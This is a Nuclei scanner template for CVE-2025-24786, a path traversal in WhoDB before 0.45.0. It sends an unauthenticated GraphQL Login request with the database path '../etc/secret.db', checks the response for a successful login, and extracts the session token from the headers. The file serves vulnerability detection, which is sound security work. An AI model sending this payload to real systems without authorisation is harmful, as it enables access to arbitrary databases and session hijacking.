id: CVE-2025-24786

info:
  name: WhoDB < 0.45.0 - Path Traversal
  author: basicbeny
  severity: high
  description: |
    WhoDB contains a path traversal caused by lack of validation when opening database files, letting unauthenticated attackers access arbitrary Sqlite3 databases on the host system, exploit requires attacker to manipulate database filename input.
  impact: |
    Attackers can access any Sqlite3 database on the system, potentially exposing sensitive data.
  remediation: |
    Upgrade to version 0.45.0 or later.
  reference:
    - https://github.com/clidey/whodb
    - https://github.com/clidey/whodb/security/advisories/GHSA-9r4c-jwx3-3j76
    - https://nvd.nist.gov/vuln/detail/CVE-2025-24786
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-24786
    epss-score: 0.0263
    epss-percentile: 0.83994
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    vendor: clidey
    product: whodb
    fofa-query: body="whodb"
  tags: cve,cve2025,whodb,lfi,pathtraversal,unauth

http:
  - raw:
      - |
        POST /api/query HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"operationName":"Login","variables":{"credentials":{"Type":"Sqlite3","Hostname":"","Database":"../etc/secret.db","Username":"","Password":"","Advanced":[]}},"query":"mutation Login($credentials: LoginCredentials!) {\n  Login(credentials: $credentials) {\n    Status\n    __typename\n  }\n}"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"Status":true'
          - '"StatusResponse"'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: header
        name: token
        group: 1
        regex:
          - 'Token=([^;]+)'
# digest: 490a0046304402201008eb2569538e5fd288ca6ed703aa038d35f5f938f1d6fd7ed410e819ce1ae602201ee2cff4f793d54fbbb0a75d024dc77c03e76c5100f4e60bf5738582561c4016:922c64590222798bb761d5b6d8e72950